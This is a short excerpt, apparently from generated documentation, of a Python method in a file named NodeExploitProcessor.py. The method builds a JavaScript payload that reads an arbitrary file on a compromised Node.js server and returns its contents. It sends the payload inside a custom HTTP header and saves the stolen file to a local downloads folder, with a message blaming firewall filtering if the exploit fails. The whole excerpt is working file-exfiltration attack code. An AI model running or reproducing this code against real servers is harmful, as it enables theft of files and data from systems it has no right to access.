Method _Base__download

src/NodeExploitProcessor.py:178–223

(self, options: str)

    @brief See base class for details.
    """
    def _Base__download(self, options: str):  # relies on fs import
        if len(options) == 0:
            raise CommandException("Specify a file to download.")
        
        url = f"{self.host}{self.path}"
        if not self.host.startswith("http"):
            url = "http://" + url
        try:
            message = (f"process.chdir('{self.directory}');"
                       f"let out='File does not exist';"
                       f"if(fs.existsSync('{options}')){{"
                        f"try{{"
                            f"let data=fs.readFileSync('{options}','binary');"
                            f"out='Done.';"
                            f"r.setHeader('{self.header}',out);"
                            f"r.write(data, 'binary');"
                        f"}}catch(e){{"
                            f"out='Error downloading file.';"
                            f"r.setHeader('{self.header}',out);"
                        f"}}"
                       f"}}else{{"
                        f"r.setHeader('{self.header}',out);"
                       f"}}"
                       f"r.end();")
            print("Downloading file...")
            response = requests.request(
                self.method,
                url,
                headers={ f"{self.header}": message }
            )
            data = response.content
            if not response.ok:
                raise Exception()
            if not self.header in response.headers:
                raise CommandException(
                    f"No message sent back from server, your exploit is "
                    f"probably being filtered by a firewall.")
            if response.headers.get(self.header) == 'Done.':
                path = Path('downloads/' + Path(options).name)
                path.parent.mkdir(parents=True, exist_ok=True)
                with open(path, "wb") as bin_file:
                    bin_file.write(data)

            print(response.headers[self.header])
        except:
            raise CommandException(f"Message was not successfully processed.")

    """
    @brief See base class for details.